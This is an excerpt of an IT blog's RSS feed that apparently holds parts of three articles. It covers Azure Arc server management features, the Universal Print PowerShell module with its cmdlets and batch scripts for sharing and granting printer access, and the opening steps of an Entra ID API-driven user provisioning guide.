<li>While setting up the <strong>Data collection rule</strong>, make sure to check the <strong>Enable processes and dependencies</strong> option. This unlocks the awesome <strong>Map</strong> feature.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<ul>
<li>If you stick with the default collection rule, the <strong>Map</strong> feature won’t work.</li>
<li>You’ll need a <strong>Log Analytics Workspace</strong> for the new rule, but don’t worry you can reuse the same Workspace you’re already using for other tracking logs.</li>
</ul>
</div>
<table>
<thead>
<tr>
<th><img src="\azure_arc\arc_machine_tracking_insights_config.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/></th>
<th><img src="\azure_arc\arc_machine_tracking_insights_config2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="4">
<li>
<p>Refresh your browser, wait a few seconds, and voilà! You’ll start seeing real-time performance metrics, along with details about processes and dependencies on your machine.</p>
<p>You can monitor the following performance metrics for your resources:</p>
<ul>
<li>CPU Utilization</li>
<li>Available Memory</li>
<li>Logical Disk IOPS</li>
<li>Logical Disk MB/s</li>
<li>Logical Disk Latency (ms)</li>
<li>Max Logical Disk Used %</li>
<li>Bytes Sent Rate</li>
<li>Bytes Received Rate</li>
</ul>
</li>
</ol>
<img src="\azure_arc\arc_machine_tracking_insights_performance.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<img src="\azure_arc\arc_machine_tracking_insights_map.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
</li>
<li>
<p>Logs</p>
<p>In the <strong>Logs</strong> section you can create classic table queries for the data collected in you <strong>Log analytics workspace</strong> for troubleshooting and insights.</p>
<img src="\azure_arc\arc_machine_tracking_logs.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
</li>
</ul>
</li>
<li>
<p><strong>Licensing</strong>: Manage and monitor licensing for Windows Server and SQL Server, including pay-as-you-go options.</p>
</li>
</ul>
<img src="\azure_arc\arc_machine_licensing.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ul>
<li>
<p><strong>Admin Center</strong>: Use Windows Admin Center in Azure for streamlined server management from the cloud.</p>
<p>To get <strong>Windows Admin Center</strong> up and running, just follow these steps:</p>
<ol>
<li>Hit the <strong>Set up</strong> button on the <strong>Windows Admin Center</strong> page.</li>
<li>Select a Listening port and click <strong>Install</strong>.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\azure_arc\arc_machine_admincenter_setup.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\azure_arc\arc_machine_admincenter_install.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/></th>
</tr>
</thead>
</table>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>Please be aware that you need to edit RBAC roles to use the <strong>Windows Admin Center</strong>.
<img src="\azure_arc\arc_machine_admincenter_role.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></p>
</div>
<p>As soon as the <strong>Windows Admin Center</strong> is set up you can access and edit the following features:</p>
<table>
<thead>
<tr>
<th><img src="\azure_arc\arc_machine_admincenter_features2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/></th>
<th><img src="\azure_arc\arc_machine_admincenter_features3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/></th>
</tr>
</thead>
</table>
<p>In additon you can find the following live metrics:</p>
<table>
<thead>
<tr>
<th><img src="\azure_arc\arc_machine_admincenter_overview2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></th>
<th><img src="\azure_arc\arc_machine_admincenter_overview3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></th>
</tr>
</thead>
</table>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>Please note that an appropriate license is required to access this feature.<br>
<img src="\azure_arc\arc_machine_admincenter_license.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></p>
</div>
</li>
<li>
<p><strong>Site Recovery</strong>: Configure Azure Site Recovery for disaster recovery and business continuity.</p>
<p>The Azure Site Recovery setup tool helps you handle replication, failover, and failback for your on-premises and Azure virtual machines (VMs) running on Arc-enabled Windows Server. It’s a great way to keep your on-premises workloads running smoothly during outages by replicating them to Azure as a backup location.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find out more here <a href="https://learn.microsoft.com/en-us/windows-server/manage/azure-arc/azure-site-recovery-for-windows-server" target="_blank" rel="noreferrer">Configure Azure Site Recovery for Arc-enabled Windows servers | Microsoft Learn</a>.</p>
</div>
</li>
</ul>
<img src="\azure_arc\arc_machine_siterecovery.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ul>
<li>
<p><strong>Best Practices Assessment</strong>: Evaluate your environment against best practices to optimize performance and security.</p>
<p>The Best Practices Assessment tool keeps an eye on your Windows Server, checking its setup against recommended Windows best practices. You can set it to run automatically on a schedule or kick it off manually whenever you need.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find out more here <a href="https://go.microsoft.com/fwlink/?linkid=2259156" target="_blank" rel="noreferrer">Overview of Windows Server Best Practices Assessment | Microsoft Learn</a>.</p>
</div>
</li>
</ul>
<img src="\azure_arc\arc_machine_bestpractices.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ul>
<li><strong>Health</strong>: Monitor the health of your resources and address issues proactively.</li>
</ul>
<img src="\azure_arc\arc_machine_health.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Azure Arc is a total game-changer for managing hybrid and multi-cloud setups. It brings all the awesome Azure tools right to your resources.
The best is that you are able to manage all your stuff over a single Portal, no matter where you host them.</p>
And that you can start for the low price of <span style="color:crimson">FREE</span>, there is no risk of testing if its right for you and your environment.
<h3 id="resources" tabindex="-1">Resources <a class="header-anchor" href="#resources" aria-label="Permalink to &quot;Resources&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li><a href="https://azure.microsoft.com/en-us/services/azure-arc/" target="_blank" rel="noreferrer">Azure Arc - features and capabilities</a></li>
<li><a href="https://azure.microsoft.com/en-us/pricing/calculator/?service=azure-arc" target="_blank" rel="noreferrer">Pricing calculator</a></li>
<li><a href="https://azure.microsoft.com/en-us/support/legal/sla/azure-arc/" target="_blank" rel="noreferrer">Azure Arc - SLA</a></li>
<li><a href="https://docs.microsoft.com/en-us/azure/azure-arc/" target="_blank" rel="noreferrer">Azure Arc - Documentation</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Universal Print Powershell Module | Azure]]></title>
            <link>https://michaelsendpoint.com/azure/UniversalPrintPowershell.html</link>
            <guid>https://michaelsendpoint.com/azure/UniversalPrintPowershell.html</guid>
            <pubDate>Thu, 24 Apr 2025 20:16:28 GMT</pubDate>
            <description><![CDATA[Learn how to manage Universal Print resources using the UniversalPrintManagement PowerShell module with detailed commands and use case examples.]]></description>
            <content:encoded><![CDATA[<h1 id="universal-print-powershell-module" tabindex="-1">Universal Print Powershell Module <a class="header-anchor" href="#universal-print-powershell-module" aria-label="Permalink to &quot;Universal Print Powershell Module&quot;">&ZeroWidthSpace;</a></h1>
<img src="\azure_up\universal-print-hero-with-background.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>The UniversalPrintManagement PowerShell module is designed for managing and administrating Universal Print resources from the command line.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The code samples on the official <a href="https://learn.microsoft.com/en-us/universal-print/fundamentals/universal-print-ps-printer-properties-sample" target="_blank" rel="noreferrer">Microsoft Learn</a> Page do not work at the moment, so I corrected them and you can find them together with the standard commands below or as scipts in my <a href="https://github.com/Vejitaxp/michaelsendpoint_public/tree/052040820ea4e8a92dd9fe07e28a0cef75239282/Azure/UniversalPrint" target="_blank" rel="noreferrer">Github</a>.</p>
</div>
<h2 id="installation" tabindex="-1">💿 Installation <a class="header-anchor" href="#installation" aria-label="Permalink to &quot;:cd: Installation&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft provides a special Poweshell Module to manage Universal Print.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Install-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> UniversalPrintManagement</span></span></code></pre>
</div><h2 id="microsoft-graph-connection" tabindex="-1">🔛 Microsoft Graph Connection <a class="header-anchor" href="#microsoft-graph-connection" aria-label="Permalink to &quot;:on: Microsoft Graph Connection&quot;">&ZeroWidthSpace;</a></h2>
<p>Connect to the Microsoft Graph with this special Universal Print Powershell Module command.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Connect-UPService</span></span></code></pre>
</div><h2 id="powershell-module-commands" tabindex="-1">🛃 Powershell Module Commands <a class="header-anchor" href="#powershell-module-commands" aria-label="Permalink to &quot;:customs: Powershell Module Commands&quot;">&ZeroWidthSpace;</a></h2>
<p>The following command retrieves a list of all available cmdlets in the Universal Print Management module.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-Command</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Module UniversalPrintManagement</span></span></code></pre>
</div><p>Below you find the available commands, along with their descriptions.</p>
<h3 id="sign-in" tabindex="-1">Sign-in <a class="header-anchor" href="#sign-in" aria-label="Permalink to &quot;Sign-in&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Connect-UPService</td>
<td style="text-align:left">Connects with an authenticated account to use for Universal Print cmdlet requests.</td>
</tr>
</tbody>
</table>
<h3 id="printers" tabindex="-1">Printers <a class="header-anchor" href="#printers" aria-label="Permalink to &quot;Printers&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Get-UPPrinter</td>
<td style="text-align:left">Use this cmdlet to get information about a single or list of printers.</td>
</tr>
<tr>
<td style="text-align:left">Remove-UPPrinter</td>
<td style="text-align:left">Use this cmdlet to unregister printers.</td>
</tr>
</tbody>
</table>
<h3 id="printer-properties" tabindex="-1">Printer Properties <a class="header-anchor" href="#printer-properties" aria-label="Permalink to &quot;Printer Properties&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Set-UPPrinterProperty</td>
<td style="text-align:left">Use this cmdlet to update mutable properties of a printer.</td>
</tr>
</tbody>
</table>
<h3 id="printer-shares" tabindex="-1">Printer Shares <a class="header-anchor" href="#printer-shares" aria-label="Permalink to &quot;Printer Shares&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">New-UPPrinterShare</td>
<td style="text-align:left">Use this cmdlet to share a printer.</td>
</tr>
<tr>
<td style="text-align:left">Get-UPPrinterShare</td>
<td style="text-align:left">Use this cmdlet to get information about a single or list of shared printers.</td>
</tr>
<tr>
<td style="text-align:left">Remove-UPPrinterShare</td>
<td style="text-align:left">Use this cmdlet to unshare printers that have been shared earlier.</td>
</tr>
<tr>
<td style="text-align:left">Set-UPPrinterShare</td>
<td style="text-align:left">Use this cmdlet to update a printer share to swap a registered printer due for maintenance with a working one.</td>
</tr>
</tbody>
</table>
<h3 id="user-permissions" tabindex="-1">User Permissions <a class="header-anchor" href="#user-permissions" aria-label="Permalink to &quot;User Permissions&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Grant-UPAccess</td>
<td style="text-align:left">Use this cmdlet to grant print access to a user or group or all users in the organization.</td>
</tr>
<tr>
<td style="text-align:left">Revoke-UPAccess</td>
<td style="text-align:left">Use this cmdlet to revoke print access from a user or group or all users in the organization.</td>
</tr>
<tr>
<td style="text-align:left">Get-UPAllowedMember</td>
<td style="text-align:left">Use this cmdlet to get information about users and groups that have print access to a specific printer.</td>
</tr>
</tbody>
</table>
<h3 id="connectors" tabindex="-1">Connectors <a class="header-anchor" href="#connectors" aria-label="Permalink to &quot;Connectors&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Get-UPConnector</td>
<td style="text-align:left">Use this cmdlet to get information about a single or list of connectors.</td>
</tr>
<tr>
<td style="text-align:left">Remove-UPConnector</td>
<td style="text-align:left">Use this cmdlet to unregister connectors.</td>
</tr>
</tbody>
</table>
<h3 id="connector-properties" tabindex="-1">Connector Properties <a class="header-anchor" href="#connector-properties" aria-label="Permalink to &quot;Connector Properties&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Set-UPConnectorProperty</td>
<td style="text-align:left">Use this cmdlet to update mutable properties of a connector.</td>
</tr>
</tbody>
</table>
<h3 id="print-jobs" tabindex="-1">Print Jobs <a class="header-anchor" href="#print-jobs" aria-label="Permalink to &quot;Print Jobs&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Get-UPPrintJob</td>
<td style="text-align:left">Use this cmdlet to get information about print jobs that were sent to a printer.</td>
</tr>
</tbody>
</table>
<h3 id="print-job-reports" tabindex="-1">Print Job Reports <a class="header-anchor" href="#print-job-reports" aria-label="Permalink to &quot;Print Job Reports&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Cmdlet</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Get-UPUsageReport</td>
<td style="text-align:left">Use this cmdlet to get different types of print usage reports.</td>
</tr>
</tbody>
</table>
<h2 id="use-case-samples" tabindex="-1">📜 Use Case Samples <a class="header-anchor" href="#use-case-samples" aria-label="Permalink to &quot;:scroll: Use Case Samples&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="batch-share-all-printers" tabindex="-1">Batch share all printers <a class="header-anchor" href="#batch-share-all-printers" aria-label="Permalink to &quot;Batch share all printers&quot;">&ZeroWidthSpace;</a></h3>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> UniversalPrintManagement</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">connect-uPService</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$printers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-upprinter</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($printer </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $printers.results){</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    new-upprintershare</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">PrinterId $printer.id </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ShareName $printer.displayname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">confirm</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h3 id="batch-grant-all-users-access-to-shared-printers" tabindex="-1">Batch grant all users access to shared printers <a class="header-anchor" href="#batch-grant-all-users-access-to-shared-printers" aria-label="Permalink to &quot;Batch grant all users access to shared printers&quot;">&ZeroWidthSpace;</a></h3>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> UniversalPrintManagement</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">connect-uPService</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Shares </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-UPPrinterShare</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($share </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $shares.results){</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Grant-UPAccess</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ShareID $share.id </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AllUsersAccess}</span></span></code></pre>
</div><h3 id="remove-all-shares" tabindex="-1">Remove all Shares <a class="header-anchor" href="#remove-all-shares" aria-label="Permalink to &quot;Remove all Shares&quot;">&ZeroWidthSpace;</a></h3>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> UniversalPrintManagement</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">connect-uPService</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$shares </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-upPrinterShare</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($share </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $shares.results){</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">remove-upprintershare</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ShareID $share.id </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">confirm}</span></span></code></pre>
</div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Api-driven provisioning | Entra ID]]></title>
            <link>https://michaelsendpoint.com/entra/api_driven_provisioning.html</link>
            <guid>https://michaelsendpoint.com/entra/api_driven_provisioning.html</guid>
            <pubDate>Tue, 22 Apr 2025 18:29:58 GMT</pubDate>
            <description><![CDATA[Learn how to set up API-driven provisioning in Entra ID to streamline user management, reduce manual efforts, and ensure data consistency across your applications.]]></description>
            <content:encoded><![CDATA[<h1 id="microsoft-entra-id-api-driven-provisioning" tabindex="-1">Microsoft Entra ID API-driven provisioning <a class="header-anchor" href="#microsoft-entra-id-api-driven-provisioning" aria-label="Permalink to &quot;Microsoft Entra ID API-driven provisioning&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>In today's fast-paced digital world, lots of organisations still rely on manual processes to create and manage user accounts.
This not only takes up valuable time but also increases the risk of errors and inefficiencies.
Fortunately, with the arrival of automatic provisioning through Microsoft Entra ID, businesses can make their user management processes more streamlined, enhancing productivity and security.
This article delves into the use and benefits of Microsoft Entra's API-driven user provisioning.</p>
<h2 id="what-is-api-driven-provisioning" tabindex="-1">❓ What is API-driven provisioning? <a class="header-anchor" href="#what-is-api-driven-provisioning" aria-label="Permalink to &quot;:question: What is API-driven provisioning?&quot;">&ZeroWidthSpace;</a></h2>
<p>API-driven provisioning in Entra ID allows organisations to automate the synchronisation of users and groups from different sources (e.g. HR-Systems) to Active Directory or to Entra ID itself.
This method supports integration with any source that can send the appropriate requests, enabling organisations to bridge the gap between their HR-Systems and their identity management systems in a cloud or hybrid environment.
It improves control over data processing and transformation, ensuring accurate and timely updates.</p>
<h2 id="how-does-it-work" tabindex="-1">📎 How does it work? <a class="header-anchor" href="#how-does-it-work" aria-label="Permalink to &quot;:paperclip: How does it work?&quot;">&ZeroWidthSpace;</a></h2>
<img src="\entra_api_prov\api_drive_prov_draw.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>The process involves the HR-System (or any other source) sending the data that needs to be provisioned in SCIM format to the provisioning service via an API.
The provisioning service then uses configured mappings to map the data to Entra ID.
If you are using hybrid identities, the same thing happens, except that instead of going directly to Entra, the data goes from the provisioning API to the provisioning agent, which in turn maps it to the local Active Directory.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p><strong>What is SCIM (System for Cross-domain Identity Management)?</strong><br/>
SCIM is a protocol that standardizes how identity information is exchanged between one entity and another. It’s an open standard and is widely used to simplify the process of granting people or groups access to cloud-based applications. <br/>
Learn more <a href="https://www.microsoft.com/en-us/security/business/security-101/what-is-scim" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="implementation" tabindex="-1">🔨 Implementation <a class="header-anchor" href="#implementation" aria-label="Permalink to &quot;:hammer: Implementation&quot;">&ZeroWidthSpace;</a></h2>
<p>In the following example, I will show how to implement API-driven provisioning in Entra ID.</p>
<h3 id="prerequisites" tabindex="-1">Prerequisites <a class="header-anchor" href="#prerequisites" aria-label="Permalink to &quot;Prerequisites&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li>Application Administrator (if you're configuring inbound user provisioning to Microsoft Entra ID) OR</li>
<li>Application Administrator + Hybrid Identity Administrator (if you're configuring inbound user provisioning to on-premises Active Directory)</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you're configuring inbound user provisioning to on-premises Active Directory, you need access to a Windows Server where you can install the provisioning agent for connecting to your Active Directory domain controller.</p>
</div>
<h3 id="prepare-the-source" tabindex="-1">Prepare the source <a class="header-anchor" href="#prepare-the-source" aria-label="Permalink to &quot;Prepare the source&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>
<p>First we need a source for our data. For this you would normally use a HR-System.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you use a big one like Workday or SuccessFactors you can provision an Enterprise app direcctly from the App Gallery in Entra ID and skip the API-driven provisioning part.<br/>
As an example you can find the following apps in the App Gallery:</p>
<ul>
<li>Workday to Microsoft Entra ID User Provisioning</li>
<li>Workday to Active Directory User Provisioning</li>
<li>SuccessFactors to Microsoft Entra ID User Provisioning</li>
<li>SuccessFactors to Active Directory User Provisioning</li>
</ul>
</div>
</li>
<li>
<p>For our porpuse we use a 3rd Party HR-System which we have registered as an application in Entra ID. (<strong>Identity</strong> -&gt; <strong>Applications</strong> -&gt; <strong>App registrations</strong> -&gt; <strong>New registration</strong>.)</p>
</li>
<li>
<p>Next we need to give the necessary permissions to our HR source, so it can authenticate savely when posting the SCIM Packages.<br>
To do that go to the <a href="https://entra.microsoft.com" target="_blank" rel="noreferrer">Microsoft Entra admin center</a> and open <strong>Identity</strong> -&gt; <strong>Applications</strong> -&gt; <strong>App registrations</strong> -&gt; <strong>[Your App]</strong>.</p>
</li>
<li>
<p>Now select <strong>'API permissions'</strong> and <strong>'Add a permission'</strong>.</p>
<ul>
<li>Microsoft APIs -&gt; Microsoft Graph -&gt; Application permissions -&gt; SynchronizationData-User.Upload</li>
<li>Microsoft APIs -&gt; Microsoft Graph -&gt; Application permissions -&gt; AuditLog.Read.All</li>
</ul>
</li>
<li>
<p>And then <strong>'Grant admin consent for [your tenant name]'</strong>.</p>
</li>
</ol>
<p>With that the Application`s <strong>Service Principal</strong> has the necessary permissions to POST the SCIM packages to the API.<br/>
If you want to use a <strong>Managed Identity</strong> instead, you can use this <a href="https://learn.microsoft.com/en-us/entra/identity/app-provisioning/inbound-provisioning-api-grant-access#configure-a-managed-identity" target="_blank" rel="noreferrer">Link</a> to see how.</p>
<h3 id="creating-the-inbound-api-driven-provisioning-app" tabindex="-1">Creating the inbound API-driven provisioning App <a class="header-anchor" href="#creating-the-inbound-api-driven-provisioning-app" aria-label="Permalink to &quot;Creating the inbound API-driven provisioning App&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Go to the <a href="https://entra.microsoft.com" target="_blank" rel="noreferrer">Microsoft Entra admin center</a> and sign in with your account.</li>
<li>Select <strong>Identity</strong> -&gt; <strong>Applications</strong> -&gt; <strong>Enterprise applications</strong> -&gt; <strong>New application</strong>.</li>
<li>Enter <strong>'api-driven'</strong> in the search field, then select the application for your setup.
<ul>
<li><strong>API-driven provisioning to on-premises Active Directory:</strong> Select this app if you're provisioning hybrid identities from your HR-System.</li>
<li><strong>API-driven provisioning to Microsoft Entra ID:</strong> Select this app if you're provisioning cloud-only identities from your HR-System.</li>
</ul>
</li>
</ol>
<img src="\entra_api_prov\enterprice_apps.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="4">
<li>Open the application and select <strong>'Provisioning'</strong> -&gt; <strong>'Get started'</strong>.</li>
<li>Now select <strong>'Automatic'</strong> under <strong>Provisioning mode</strong> and click <strong>'Save'</strong>.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you provision to an on-premises Active Directory, you need to provide the Domain Name and default OU you want to use for the provisioning.</p>
<img src="\entra_api_prov\enterprice_app_ad_creds.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<p>In addition you need to install the <strong>Microsoft Entra provisioning agent</strong> on a Windows Server that can connect to your domain controller, so it can provision accounts to your local domain.
Learn how to install the provisioning agent <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-install" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<ol start="6">
